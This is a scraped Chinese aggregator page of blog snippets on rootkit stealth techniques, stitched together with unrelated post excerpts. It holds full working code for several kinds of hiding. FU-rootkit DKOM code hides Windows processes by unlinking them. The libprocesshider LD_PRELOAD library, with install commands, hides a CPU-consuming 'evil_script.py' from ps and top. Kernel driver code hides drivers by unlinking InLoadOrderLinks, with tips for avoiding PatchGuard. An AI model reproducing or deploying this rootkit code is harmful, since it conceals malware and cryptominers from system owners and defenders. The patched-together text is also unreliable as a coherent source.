精华内容
下载资源
问答
  • 实现程序在驱动层面的保护;分享一份用于隐藏进程及其线程的rootkit驱动程序源代码.
  • 驱动隐藏进程

    2014-06-17 09:59:37
    驱动隐藏进程
  • 易语言隐藏进程(无DLL) 易语言隐藏进程(无DLL)
  • 驱动隐藏进程

    千次阅读 2007-06-01 17:22:00
    FU_rootkit中有很多功能,先看了隐藏进程,,和以前在群里讨论的一样,windows调度的是线程,所以可以把要隐藏的进程从进程链中去掉,并不影响进程中的线程的调度和运行. FU_rootkit中的方法是先通过PsGetCurrentProcess...
    FU_rootkit中有很多功能,先看了隐藏进程,,和以前在群里讨论的一样,windows调度的是线程,所以可以把要隐藏的进程从进程链中去掉,并不影响进程中的线程的调度和运行. FU_rootkit中的方法是先通过PsGetCurrentProcess(),(PsGetCurrentProcess returns a pointer to the process of the current thread.)得到当前进程的EPROCESS结构的指针,然后通过_LIST_ENTRY ActiveProcessLinks;在EPROCESS中的偏移遍历各个进程EPROCESS,找到pid符合的,就从链表中去掉 case IOCTL_ROOTKIT_HIDEME: if ((InputBufferLength < sizeof(DWORD)) || (InputBuffer == NULL)) { IoStatus->Status = STATUS_INVALID_BUFFER_SIZE; break; } find_PID = *((DWORD *)InputBuffer); if (find_PID == 0x00000000) { IoStatus->Status = STATUS_INVALID_PARAMETER; break; } eproc = FindProcessEPROC(find_PID); if (eproc == 0x00000000) { IoStatus->Status = STATUS_INVALID_PARAMETER; break; } plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET); *((DWORD *)plist_active_procs->Blink) = (DWORD) plist_active_procs->Flink; *((DWORD *)plist_active_procs->Flink+1) = (DWORD) plist_active_procs->Blink; break; // // This function was originally written mostly in assembly language. Now let's // make it readable to the masses. DWORD FindProcessEPROC (int terminate_PID) { DWORD eproc = 0x00000000; int current_PID = 0; int start_PID = 0; int i_count = 0; PLIST_ENTRY plist_active_procs; if (terminate_PID == 0) return terminate_PID; eproc = (DWORD) PsGetCurrentProcess(); start_PID = *((DWORD*)(eproc+PIDOFFSET)); current_PID = start_PID; while(1) { if(terminate_PID == current_PID) return eproc; else if((i_count >= 1) && (start_PID == current_PID)) { return 0x00000000; } else { plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET); eproc = (DWORD) plist_active_procs->Flink; eproc = eproc - FLINKOFFSET; current_PID = *((int *)(eproc+PIDOFFSET)); i_count++; } } }
    展开全文
  • Linux启动新进程的几种方法汇总 有时候,我们需要在自己的程序(进程)中启动另一个程序(进程)来帮助我们完成一些工作,那么我们需要怎么才能在自己的进程中启动其他的进程呢?在Linux中提供了不少的方法来实现这一点,...

    前言

    思路就是利用 LD_PRELOAD 来实现系统函数的劫持

    LD_PRELOAD是什么:

    LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

    实现

    1.下载程序编译

    bmfxgkpt-yhd:~# git clone https://github.com/gianlucaborello/libprocesshider.git

    Cloning into 'libprocesshider'...

    remote: Counting objects: 26, done.

    remote: Total 26 (delta 0), reused 0 (delta 0), pack-reused 26

    Unpacking objects: 100% (26/26), done.

    bmfxgkpt-yhd:~# cd libprocesshider/

    bmfxgkpt-yhd:~/libprocesshider# make

    gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl

    bmfxgkpt-yhd:~/libprocesshider#

    2.移动文件到/usr/local/lib/目录下

    mv libprocesshider.so /usr/local/lib/

    3.把它加载到全局动态连接局

    echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

    测试

    我们运行evil_script.py

    此时发现在top 与 ps 中都无法找到 evil_script.py

    8bbdd62d25e81586e3ad03046b071367.png

    此时我们发现 cpu 100%,但是却找不到任何占用cpu高的程序

    分析

    #define _GNU_SOURCE

    #include

    #include

    #include

    #include

    #include

    /*

    * Every process with this name will be excluded

    */

    static const char* process_to_filter = "evil_script.py";

    /*

    * Get a directory name given a DIR* handle

    */

    static int get_dir_name(DIR* dirp, char* buf, size_t size)

    {

    int fd = dirfd(dirp);

    if(fd == -1) {

    return 0;

    }

    char tmp[64];

    snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);

    ssize_t ret = readlink(tmp, buf, size);

    if(ret == -1) {

    return 0;

    }

    buf[ret] = 0;

    return 1;

    }

    /*

    * Get a process name given its pid

    */

    static int get_process_name(char* pid, char* buf)

    {

    if(strspn(pid, "0123456789") != strlen(pid)) {

    return 0;

    }

    char tmp[256];

    snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);

    FILE* f = fopen(tmp, "r");

    if(f == NULL) {

    return 0;

    }

    if(fgets(tmp, sizeof(tmp), f) == NULL) {

    fclose(f);

    return 0;

    }

    fclose(f);

    int unused;

    sscanf(tmp, "%d (%[^)]s", &unused, buf);

    return 1;

    }

    #define DECLARE_READDIR(dirent, readdir) \

    static struct dirent* (*original_##readdir)(DIR*) = NULL; \

    \

    struct dirent* readdir(DIR *dirp) \

    { \

    if(original_##readdir == NULL) { \

    original_##readdir = dlsym(RTLD_NEXT, "readdir"); \

    if(original_##readdir == NULL) \

    { \

    fprintf(stderr, "Error in dlsym: %s\n", dlerror()); \

    } \

    } \

    \

    struct dirent* dir; \

    \

    while(1) \

    { \

    dir = original_##readdir(dirp); \

    if(dir) { \

    char dir_name[256]; \

    char process_name[256]; \

    if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \

    strcmp(dir_name, "/proc") == 0 && \

    get_process_name(dir->d_name, process_name) && \

    strcmp(process_name, process_to_filter) == 0) { \

    continue; \

    } \

    } \

    break; \

    } \

    return dir; \

    }

    DECLARE_READDIR(dirent64, readdir64);

    DECLARE_READDIR(dirent, readdir);

    程序定义了一个变量 process_to_filter 来控制不显示哪个进程名

    重写readdir,

    strcmp(process_name, process_to_filter) == 0)

    当发现当前进程名称与 process_to_filter 相同时,继续循环.

    遇到的坑

    某些Linux中这个程序编译通不过

    解决方法

    删除最后两行中的一行

    DECLARE_READDIR(dirent64, readdir64);

    DECLARE_READDIR(dirent, readdir);

    某些Linux中使用

    echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

    并不会生效

    此时我们需要配置环境变量

    bmfxgkpt-yhd:~# vi /etc/profile

    增加一行

    export LD_PRELOAD=/usr/local/lib/libprocesshider.so

    Linux 下操作GPIO(两种方法,驱动和mmap)(转载)

    目前我所知道的在Linux下操作GPIO有两种方法: 1.编写驱动,这当然要熟悉Linux下驱动的编写方法和技巧,在驱动里可以使用ioremap函数获得GPIO物理基地址指针,然后使用这个指针根据io ...

    Linux 下操作gpio(两种方法,驱动和mmap)

    目前我所知道的在linux下操作GPIO有两种方法: 1.  编写驱动,这当然要熟悉linux下驱动的编写方法和技巧,在驱动里可以使用ioremap函数获得GPIO物理基地址指针,然后使用这个指针根据 ...

    linux下查询进程占用的内存方法总结

    linux下查询进程占用的内存方法总结,假设现在有一个「php-cgi」的进程 ,进程id为「25282」.现在想要查询该进程占用的内存大小.linux命令行下有很多的工具进行查看,现总结常见的几种方 ...

    20155212 C语言实现linux下pwd命令的两种方法

    20155212 C语言实现linux下pwd命令的两种方法 学习pwd命令 通过man pwd命令查看 pwd [OPTION],一般不加参数 -P显示当前目录的物理路径 -L显示当前目录的连接路径 ...

    Linux下线程同步的几种方法

    Linux下提供了多种方式来处理线程同步,最常用的是互斥锁.条件变量和信号量. 一.互斥锁(mutex) 锁机制是同一时刻只允许一个线程执行一个关键部分的代码.  1. 初始化锁 int pthrea ...

    linux下配置ip地址四种方法&lpar;图文方法&rpar;

    主要是用第四种方法 (1)Ifconfig命令  第一种使用ifconfig命令配置网卡的ip地址.此命令通常用来零时的测试用,计算机启动后 ip地址的配置将自动失效.具体用法如下.Ipconfig  ...

    Linux启动新进程的三种方法

    程序中,我们有时需要启动一个新的进程,来完成其他的工作.下面介绍了三种实现方法,以及这三种方法之间的区别. 1.system函数-调用shell进程,开启新进程system函数,是通过启动shell进 ...

    linux下删除空行的几种方法

    在查看linux下的配置文件时,为了便于一目了然的查看,经常会删除空行和#头的行.而linux在删除空行的方法很多,grep.sed.awk.tr等工具都能实现.现总结如下: 1.grep grep ...

    Linux启动新进程的几种方法汇总

    有时候,我们需要在自己的程序(进程)中启动另一个程序(进程)来帮助我们完成一些工作,那么我们需要怎么才能在自己的进程中启动其他的进程呢?在Linux中提供了不少的方法来实现这一点,下面就来介绍一个这些 ...

    随机推荐

    Android随笔之——获取EditText光标所在行行号

    由于项目需求,需要获取EditText光标当前所在行行号,可是翻遍Android文档.问遍度娘都没发现,于是在博客园中提问,碰见了好心人告诉了我答案,谨以以下代码献给有需要的人 private int ...

    通过js引用外部脚本(嘿嘿,方便直接在浏览器上调试抓取代码)

    最近折腾爬虫,后端使用jQuery进行数据采集,一般都是先从浏览器中将采集代码调试好后直接放到后端跑了. 有些网址没有引用jQuery,那调试起来就不方便了,可以用以下代码动态添加script标签,将 ...

    HttpContext详解【转】

    HttpContext 类:封装有关个别 HTTP 请求的所有 HTTP 特定的信息. 在处理请求执行链的各个阶段中,会有一个对象在各个对象之间进行传递,也即会保存请求的上下文信息,这个对象就是Htt ...

    AC日记——【模板】字符串哈希 洛谷 3370

    题目描述 如题,给定N个字符串(第i个字符串长度为Mi,字符串内包含数字.大小写字母,大小写敏感),请求出N个字符串中共有多少个不同的字符串. 友情提醒:如果真的想好好练习哈希的话,请自觉,否则请右转 ...

    a&plus;&plus;与 &plus;&plus;a

    a++先执行表达式再自增执行表达式使用a原值++a先自增再执行表达示执行表达式使用自增a例:int a=0printf("%d",a++); //输0,执行完a=1int a=0p ...

    Storage 002 电商数据库设计

    [用户模块] 账户登录:邮箱/用户名/已验证手机 密码 如果将所有字段都放到一张表里存储? 数据插入异常        只想插入一个值的  由于需要主键信息,插入的一行变成新的一行,和原来的记录无关. ...

    h5直接分享的实现方案

    首先得知道,h5是无法直接通过js跳转到微信或QQ等软件进行分享, 参照新浪的分享方式,在uc浏览器和QQ浏览器等主流浏览器中是可以直接分享的, 原因是uc浏览器和QQ浏览器这样的主流浏览器是自带分享 ...

    使用 Gradle 构建 Java 项目

    使用 Gradle 构建 Java 项目 这个手册将通过一个简单的 Java 项目向大家介绍如何使用 Gradle 构建 Java 项目. 我们将要做什么? 我们将在这篇文档航中创建一个简单的 Jav ...

    JDK常用命令(二)jstack

    Dump Dump文件是进程的内存镜像.可以把程序的执行状态通过调试器保存到dump文件中.Dump文件一般用来给驱动程序编写人员调试驱动程序用的,在java中用来分析正在运行的程序在内存中的堆栈信息 ...

    Java类加载机制及自定义加载器

    转载:https://www.cnblogs.com/gdpuzxs/p/7044963.html Java类加载机制及自定义加载器 一:ClassLoader类加载器,主要的作用是将class文件加 ...

    展开全文
  • 原理就是线程死循环删除自己在进程列表的那行,为什么死循环呢?因为进程列表会刷新的。。 优点:不用加载驱动,简单实用,不需要什么高技术。 缺点: ①限制winxp和win7(为什么限制winxp和win7???因为其他系统的...
  • 看网上用此方法隐藏用的挺嗨啊,麻烦打个出处,谢谢了. 没必要藏着,人生没有必要为这些小玩意小打小闹。 看到某些哥们这搞搞那搞搞,BSOD PATCHGUARD 无语,WRK是个好东西啊! 还有半年来也没怎么发博客,惭...

    已开源:https://github.com/ZhuHuiBeiShaDiao/NewHideDriverEx

    更新:支持seh,原理自己逆下 将seh挂到其它模块上而已.

    看网上用此方法隐藏用的挺嗨啊,麻烦打个出处,谢谢了.

    没必要藏着,人生没有必要为这些小玩意小打小闹。

    看到某些哥们这搞搞那搞搞,BSOD PATCHGUARD 无语,WRK是个好东西啊!

    还有半年来也没怎么发博客,惭愧惭愧。

     


    驱动隐藏 最经典的就是断链来一发
    但是这个不行 原因我就不说了

    网上有的方法
    1.断链
    2.BufferDriverLoader?(自行google github blackbone)
    3.pDriverObject->DriverSection = NULL;

    其中1 3 触发PG 2会导致异常处理出错 并且很多函数不能使用

    那么有没有什么方法不触发PG 又能隐藏驱动呢

    答案是有的

    当驱动加载时 会将驱动信息加入那个链表
    那么可不可以阻止这个加入的过程呢?

    答案是可以的

    这个函数是
    "MiProcessLoaderEntry"
    这个函数将驱动信息加入链表和移除链表

    为什么不触发PG?
    根据patchguard v3中说法 是因为pg监控其中的某个全局变量 具体忘了 有兴趣自行百度google
    此函数也处理这个全局变量 所以没有问题~

    函数原型?
    MiProcessLoaderEntry(pDriverObject->DriverSection, 0);// 移除
    MiProcessLoaderEntry(pDriverObject->DriverSection, 1);// 添加

    调用MiProcessLoaderEntry(pDriverObject->DriverSection, 0);
    PCHunter显示为红色~

    能不能完全隐藏?

        pTargetDriverObject->DriverSection = NULL;

        // 破坏驱动对象特征
        pTargetDriverObject->DriverStart = NULL;
        pTargetDriverObject->DriverSize = NULL;
        pTargetDriverObject->DriverUnload = NULL;
        pTargetDriverObject->DriverInit = NULL;
        pTargetDriverObject->DeviceObject = NULL;

     

     

     

    Over ~

     

     

    代码不贴 自己动手 丰衣足食。

     

    人生有三大兴趣

    一是看WRK ROS

    二是逆360

    三额.....媳妇 我不吹牛逼了 错了错了....

    展开全文
  • 隐藏指定驱动 尝试隐藏这个驱动 #include <ntifs.h> typedef struct _KLDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY exp; ULONG un; ULONG NonPagedDebugInfo; ULONG DllBase; ...

    隐藏指定驱动在这里插入图片描述

    尝试隐藏这个驱动

    #include <ntifs.h>
    
    typedef struct _KLDR_DATA_TABLE_ENTRY {
    	LIST_ENTRY InLoadOrderLinks;
    	LIST_ENTRY exp;
    	ULONG un;
    	ULONG NonPagedDebugInfo;
    	ULONG DllBase;
    	ULONG EntryPoint;
    	ULONG SizeOfImage;
    	UNICODE_STRING FullDllName;
    	UNICODE_STRING BaseDllName;
    	ULONG Flags;
    	USHORT LoadCount;
    	USHORT __Undefined5;
    	ULONG  __Undefined6;
    	ULONG  CheckSum;
    	ULONG  TimeDateStamp;
    } KLDR_DATA_TABLE_ENTRY, * PKLDR_DATA_TABLE_ENTRY;
    /*kd> dt _LDR_DATA_TABLE_ENTRY
    nt!_LDR_DATA_TABLE_ENTRY
       +0x000 InLoadOrderLinks : _LIST_ENTRY//这个成员把系统所有加载(可能是停止没被卸载)已经读取到内存中,形成一个双链表,本驱动的驱动对象就是一个节点
       +0x008 InMemoryOrderLinks : _LIST_ENTRY//系统已经启动 没有被初始化 没有调用DriverEntry这个历程的时候 通过这个链表进程串接起来
       +0x010 InInitializationOrderLinks : _LIST_ENTRY//已经调用DriverEntry这个函数的所有驱动程序
       +0x018 DllBase          : Ptr32 Void
       +0x01c EntryPoint       : Ptr32 Void//驱动的进入点
       +0x020 SizeOfImage      : Uint4B
       +0x024 FullDllName      : _UNICODE_STRING//驱动的全路径
       +0x02c BaseDllName      : _UNICODE_STRING//不带路径的驱动名字
       +0x034 Flags            : Uint4B
       +0x038 LoadCount        : Uint2B
       +0x03a TlsIndex         : Uint2B
       +0x03c HashLinks        : _LIST_ENTRY
       +0x03c SectionPointer   : Ptr32 Void
       +0x040 CheckSum         : Uint4B
       +0x044 TimeDateStamp    : Uint4B
       +0x044 LoadedImports    : Ptr32 Void
       +0x048 EntryPointActivationContext : Ptr32 _ACTIVATION_CONTEXT
       +0x04c PatchInformation : Ptr32 Void
       +0x050 ForwarderLinks   : _LIST_ENTRY
       +0x058 ServiceTagLinks  : _LIST_ENTRY
       +0x060 StaticLinks      : _LIST_ENTRY
       +0x068 ContextInformation : Ptr32 Void
       +0x06c OriginalBase     : Uint4B
       +0x070 LoadTime         : _LARGE_INTEGER
    */
    
    NTKERNELAPI NTSTATUS ObReferenceObjectByName(
    	__in PUNICODE_STRING ObjectName,
    	__in ULONG Attributes,
    	__in_opt PACCESS_STATE AccessState,// 访问权限可以写0 写0完全访问不受控制FILE_ALL_ACCESS,
    	__in_opt ACCESS_MASK DesiredAccess,
    	__in POBJECT_TYPE ObjectType,//对象类型
    	__in KPROCESSOR_MODE AccessMode,内核模式 有三种模式 enum 类型  
    	__inout_opt PVOID ParseContext,
    	__out PVOID* Object输出对象 我们要得到的驱动对象  
    );
    
    
    extern POBJECT_TYPE* IoDriverObjectType;
    
    
    void DriverHide(PWCH ObjName)
    {
    	LARGE_INTEGER in = { 0 };
    	/*typedef union _LARGE_INTEGER {
        struct {
            ULONG LowPart;
            LONG HighPart;
        } DUMMYSTRUCTNAME;
        struct {
            ULONG LowPart;
            LONG HighPart;
        } u;
        LONGLONG QuadPart;
    	} LARGE_INTEGER;*/
    	in.QuadPart = -10000 * 5000;
    	KeDelayExecutionThread(KernelMode, FALSE, &in);//等待
    
    
    
    	UNICODE_STRING driverName1 = { 0 };
    	/*typedef struct _UNICODE_STRING {
        USHORT Length;
        USHORT MaximumLength;
    	} UNICODE_STRING;*/
    	RtlInitUnicodeString(&driverName1, ObjName);//传入驱动的名字
    	PDRIVER_OBJECT Driver = NULL;//初始化驱动对象
    	/*
    	typedef struct _DRIVER_OBJECT {
    		CSHORT             Type;
    		CSHORT             Size;
    		PDEVICE_OBJECT     DeviceObject;
    		ULONG              Flags;
    		PVOID              DriverStart;
    		ULONG              DriverSize;
    		PVOID              DriverSection;
    		PDRIVER_EXTENSION  DriverExtension;
    		UNICODE_STRING     DriverName;
    		PUNICODE_STRING    HardwareDatabase;
    		PFAST_IO_DISPATCH  FastIoDispatch;
    		PDRIVER_INITIALIZE DriverInit;//IO管理器设置驱动程序的DriverEntry例程入口点。
    		PDRIVER_STARTIO    DriverStartIo;
    		PDRIVER_UNLOAD     DriverUnload;
    		PDRIVER_DISPATCH   MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1];
    	} DRIVER_OBJECT, *PDRIVER_OBJECT;*/
    	NTSTATUS status = ObReferenceObjectByName(&driverName1, FILE_ALL_ACCESS, 0, 0, *IoDriverObjectType, KernelMode, NULL, &Driver);//通过驱动的到驱动的对象
    
    	if (NT_SUCCESS(status))//判断
    	{
    		PKLDR_DATA_TABLE_ENTRY ldr = (PKLDR_DATA_TABLE_ENTRY)Driver->DriverSection;//驱动对象结构.可以解析为_LDR_DATA_TABLE_ENTRY是一个链表存储着下一个驱动对象  
    		DbgPrintEx(77, 0, "[db]: driver name = %wZ\r\n", &ldr->FullDllName);//输出名字
    		Driver->DriverSection = ldr->InLoadOrderLinks.Flink;
    		RemoveEntryList(&ldr->InLoadOrderLinks);//去除双向链表中的值
    		Driver->DriverInit = NULL;
    		ObDereferenceObject(Driver);//删除刚刚的到的驱动对象
    	}
    	return;
    }
    
    
    VOID DriverUnload(PDRIVER_OBJECT pDriver)
    {
    	DbgPrint("END\r\n");//卸载
    }
    
    NTSTATUS DriverEntry(PDRIVER_OBJECT pDriver, PUNICODE_STRING pReg)
    {
    	HANDLE hThread = NULL;
    	NTSTATUS status = PsCreateSystemThread(&hThread, THREAD_ALL_ACCESS, NULL, NULL, NULL, DriverHide, L"\\driver\\PCHunter32as");
    	/*
    	NTSTATUS PsCreateSystemThread(
     	OUT PHANDLE  ThreadHandle, //新创建的线程句柄
    	IN ULONG  DesiredAccess, //创建的权限
    	IN POBJECT_ATTRIBUTES  ObjectAttributes  OPTIONAL,//线程的属性,一般设为NULL
    	IN HANDLE  ProcessHandle  OPTIONAL,//指定创建用户线程还是系统线程。如果为NULL,则为系统进程,如果该值是一个进程句柄,则新创建的线程属于这个指定的进程。DDK提供的NTCurrentProcess可以得到当前进程的句柄。
     	OUT PCLIENT_ID  ClientId  OPTIONAL,
     	IN PKSTART_ROUTINE  StartRoutine,//新线程的运行地址
     	IN PVOID  StartContext //新线程接收的参数
      );*/
    	if (NT_SUCCESS(status))
    	{
    		NtClose(hThread);
    	}
    	pDriver->DriverUnload = DriverUnload;
    	return STATUS_SUCCESS;
    }
    


    成功隐藏

    通过遍历来隐藏驱动

    这个我尝试的隐藏的HTTP.sys,忘记截图了

    #include <ntifs.h>
    
    typedef struct _KLDR_DATA_TABLE_ENTRY {
    	LIST_ENTRY InLoadOrderLinks;
    	LIST_ENTRY exp;
    	ULONG un;
    	ULONG NonPagedDebugInfo;
    	ULONG DllBase;
    	ULONG EntryPoint;
    	ULONG SizeOfImage;
    	UNICODE_STRING FullDllName;
    	UNICODE_STRING BaseDllName;
    	ULONG Flags;
    	USHORT LoadCount;
    	USHORT __Undefined5;
    	ULONG  __Undefined6;
    	ULONG  CheckSum;
    	ULONG  TimeDateStamp;
    } KLDR_DATA_TABLE_ENTRY, * PKLDR_DATA_TABLE_ENTRY;
    /*kd> dt _LDR_DATA_TABLE_ENTRY
    nt!_LDR_DATA_TABLE_ENTRY
       +0x000 InLoadOrderLinks : _LIST_ENTRY//这个成员把系统所有加载(可能是停止没被卸载)已经读取到内存中,形成一个双链表,本驱动的驱动对象就是一个节点
       +0x008 InMemoryOrderLinks : _LIST_ENTRY//系统已经启动 没有被初始化 没有调用DriverEntry这个历程的时候 通过这个链表进程串接起来
       +0x010 InInitializationOrderLinks : _LIST_ENTRY//已经调用DriverEntry这个函数的所有驱动程序
       +0x018 DllBase          : Ptr32 Void
       +0x01c EntryPoint       : Ptr32 Void//驱动的进入点
       +0x020 SizeOfImage      : Uint4B
       +0x024 FullDllName      : _UNICODE_STRING//驱动的全路径
       +0x02c BaseDllName      : _UNICODE_STRING//不带路径的驱动名字
       +0x034 Flags            : Uint4B
       +0x038 LoadCount        : Uint2B
       +0x03a TlsIndex         : Uint2B
       +0x03c HashLinks        : _LIST_ENTRY
       +0x03c SectionPointer   : Ptr32 Void
       +0x040 CheckSum         : Uint4B
       +0x044 TimeDateStamp    : Uint4B
       +0x044 LoadedImports    : Ptr32 Void
       +0x048 EntryPointActivationContext : Ptr32 _ACTIVATION_CONTEXT
       +0x04c PatchInformation : Ptr32 Void
       +0x050 ForwarderLinks   : _LIST_ENTRY
       +0x058 ServiceTagLinks  : _LIST_ENTRY
       +0x060 StaticLinks      : _LIST_ENTRY
       +0x068 ContextInformation : Ptr32 Void
       +0x06c OriginalBase     : Uint4B
       +0x070 LoadTime         : _LARGE_INTEGER
    */
    
    NTKERNELAPI NTSTATUS ObReferenceObjectByName(
    	__in PUNICODE_STRING ObjectName,
    	__in ULONG Attributes,
    	__in_opt PACCESS_STATE AccessState,// 访问权限可以写0 写0完全访问不受控制FILE_ALL_ACCESS,
    	__in_opt ACCESS_MASK DesiredAccess,
    	__in POBJECT_TYPE ObjectType,//对象类型
    	__in KPROCESSOR_MODE AccessMode,内核模式 有三种模式 enum 类型  
    	__inout_opt PVOID ParseContext,
    	__out PVOID* Object输出对象 我们要得到的驱动对象  
    );
    
    
    extern POBJECT_TYPE* IoDriverObjectType;
    
    VOID DriverUnload(PDRIVER_OBJECT pDriver)
    {
    	DbgPrint("END\r\n");//卸载
    }
    
    NTSTATUS DriverEntry(PDRIVER_OBJECT pDriver, PUNICODE_STRING pReg)
    {
    
    	PKLDR_DATA_TABLE_ENTRY ldr = (PKLDR_DATA_TABLE_ENTRY)pDriver->DriverSection;
    	PKLDR_DATA_TABLE_ENTRY pre = (PKLDR_DATA_TABLE_ENTRY)ldr->InLoadOrderLinks.Flink;//本身的节点
    	PKLDR_DATA_TABLE_ENTRY next = (PKLDR_DATA_TABLE_ENTRY)pre->InLoadOrderLinks.Flink;//下一个驱动的节点
    
    
    	UNICODE_STRING driverName1 = {0};
    	RtlInitUnicodeString(&driverName1, L"\\driver\\HTTP");
    
    	UNICODE_STRING driverName = { 0 };
    	RtlInitUnicodeString(&driverName, L"HTTP.sys");//获取名字
    
    	while (next != pre)//遍历一遍
    	{
    
    		if (next->BaseDllName.Length != 0 && RtlCompareUnicodeString(&driverName, &next->BaseDllName, TRUE) == 0)//判断这个是不是空的,然后名字是否对的上
    		{
    
    			PDRIVER_OBJECT Driver = NULL;
    			NTSTATUS status = ObReferenceObjectByName(&driverName1, FILE_ALL_ACCESS, 0, 0, *IoDriverObjectType, KernelMode, NULL, &Driver);//通过驱动的到驱动的对象
    
    			if (NT_SUCCESS(status))
    			{
    				RemoveEntryList(&next->InLoadOrderLinks);
    				Driver->DriverInit = NULL;
    				Driver->DriverSection = NULL;//从双链表中去除,同时把一些其他的东西也都置0
    			}
    			DbgPrintEx(77, 0, "[db]:driver name = %wZ\r\n",&next->FullDllName);
    
    			break;
    		}
    
    		next = (PKLDR_DATA_TABLE_ENTRY)next->InLoadOrderLinks.Flink;//遍历下一个
    	}
    	
    	pDriver->DriverUnload = DriverUnload;
    	return STATUS_SUCCESS;
    }
    
    展开全文
  • 20.隐藏进程(ActiveProcessLinks断链)

    千次阅读 2021-11-16 19:59:39
    对内核ActiveProcessLinks断链来达到隐藏进程
  • 将某一进程的EPROCRSS从链表中摘掉可以达到隐藏进程的目的。 通过KPROCESS结构遍历该进程下的线程列表: 一个进程下的所有线程也都被放入一个双向链表,其中,链表头是KPROCESS->ThreadListHead,链表项是每个线程...
  • QNX系列:一、进程线程

    千次阅读 2020-07-27 11:49:27
    文章目录进程线程流程和线程基础一个房子的过程占用者为线程单螺纹多线程返回流程和线程互斥优先事项信号量计数为1的信号量计数大于1的信号量信号量作为互斥量内核的作用单CPU多CPU(SMP)内核作为仲裁者优先次序...
  • 通过线程内核结构ETHREAD / KTHREAD 中成员ThreadListEntry遍历线程. 通过暴力枚举(全局句柄表)遍历线程.
  • 【python】python进程线程、协程和什么时候使用

    千次阅读 多人点赞 2019-05-27 00:58:09
    线程:程序执行的最小单元,是进程中的一个实体用来执行程序,一个进程中有多个线程。 为什么有人说 Python 多线程是鸡肋? 在我们常识中,多进程、多线程都是通过并发的方式充分利用硬件资源提高程序的运行效率...
  • 进程线程上下文切换

    千次阅读 2020-05-24 22:12:02
    上下文切换(有时也称做进程切换或任务切换)是指 CPU 从一个进程线程切换到另一个进程线程。 上下文切换可以认为是内核(操作系统的核心)在 CPU 上对于进程(包括线程)进行以下的活动:(1)挂起一个进程,将...
  • 隐藏窗口,隐藏进程

    2012-05-08 20:11:00
    要做个软件实现隐藏运行,后来可以不显示窗口了,再后来想是否能隐藏进程呢,搜索后高手说 至少有3种方法,1. 远程注入到其他的进程,dll远程注入,或者其他2. 写成服务。3. 写成驱动。 还再研究,先记下 ...
  • X64下进程隐藏实现与Debug

    千次阅读 2018-06-26 15:31:06
    之前写过几篇进程隐藏的技术贴,但是在X64下代码没有成功,昨晚深入调试了一会儿发现了问题所在,这里详细探讨下 先贴上完整的Hide.dll的cpp代码: #include "Hide.h" #define SystemProcessInformation ...
  • 万字长文带你还原进程线程

    千次阅读 2020-02-13 11:36:31
    我们平常说的进程线程更多的是基于编程语言的角度来说的,那么你真的了解什么是线程进程吗?那么我们就从操作系统的角度来了解一下什么是进程线程进程 操作系统中最核心的概念就是 进程进程是对正在运行...
  • 一文带你怼明白进程线程通信原理

    千次阅读 多人点赞 2020-02-18 11:46:08
    进程间通信 进程是需要频繁的和其他进程进行交流的。例如,在一个 shell 管道中,第一个进程的输出必须传递给第二个进程,这样沿着管道进行下去。因此,进程之间如果需要通信的话,必须要使用一种良好的数据结构以...
  • 25.隐藏线程

    千次阅读 2021-11-18 16:12:02
    线程内核结构 ETHREAD / KTHREAD 中成员ThreadListEntry断链达到隐藏效果.
  • 线程对象(PETHREAD)->PsThreadType 文件对象(FileObject)->IoFileObjectType … 具体流程不分析大概是这样,创建对象->Ob插入对象->系统访问(对象,这些对象是分配出来的不归PG管理)->根据对象Index-&...
  • 最近有朋友在群里反馈,自己服务器的CPU一直处于高占用状态,但用top、ps等命令却一直找不到是哪个进程在占用,怀疑中了挖矿病毒,急的团团转。 根据经验,我赶紧让他看一下当前服务器的网络连接,看看有没有...
  • 我们可以利用 _EPROCESS 结构体中的 ActiveProcessLinks 双向链表遍历进系统中的进程,并将特定进程从该双向链表中移除,以达到隐藏特定进程的目的。 _EPROCESS _EPROCESS 结构体是内核用于管理和维护进程的结构体...
  • 写给大忙人看的进程线程

    千次阅读 2020-03-05 08:00:00
    点击蓝色“Java建设者”关注我哟加个“星标”,一起走向人生巅峰!这是Java建设者的第72篇原创长文下面是本文的结构图我们平常说的进程线程更多的是基于编程语言的角度来说的,那么你真的...
  • 检测隐藏进程

    千次阅读 2008-10-15 13:11:00
    许多用户都有过用Windows自带的任务管理器查看所有进程的经验,并且很多人都认为在任务管理器中隐藏进程是不可能的。而实际上,进程隐藏是再简单不过的事情了。有许多可用的方法和参考源码可以达到进程隐藏的目的。...
  • 驱动开发教程

    2018-05-07 23:41:42
    |-DKOM隐藏进程+保护进程 |-枚举和隐藏内核模块 |-强制结束进程 |-强制读写进程内存 |-枚举消息钩子 |-强制解锁文件 |-初步探索PE32+格式文件 ------------------------------ 6.用户态HOOK与UNHOOK |-RING3...
  • 开机启动和隐藏进程作为两种程序设计基本技术为病毒程序广泛使用,本文在开机启动和隐藏进程代码实现的基础上对实现所用到的相关技术原理进行介绍。具体涉及到的相关技术包括服务的创建,进程快照的获取,以及进程的...
  • linux进程-线程-协程上下文环境的切换与实现

    万次阅读 多人点赞 2018-05-30 17:46:38
    一:进程-线程-协程简介进程线程的主要区别是:进程独享地址空间和资源,线程则共享地址空间和资源,多线程就是多栈。进程调度,切换进程上下文,包括分配的内存,包括数据段,附加段,堆栈段,代码段,以及一些...
  • #include "struct.h" #define debug_pott_offset 0x298 //#define debug_pott_offset 0x1f0 DWORD changge_size_NtClose = 0; //NtClose被修改了N字节 PUCHAR ori_head_NtClose =... //NtCl..
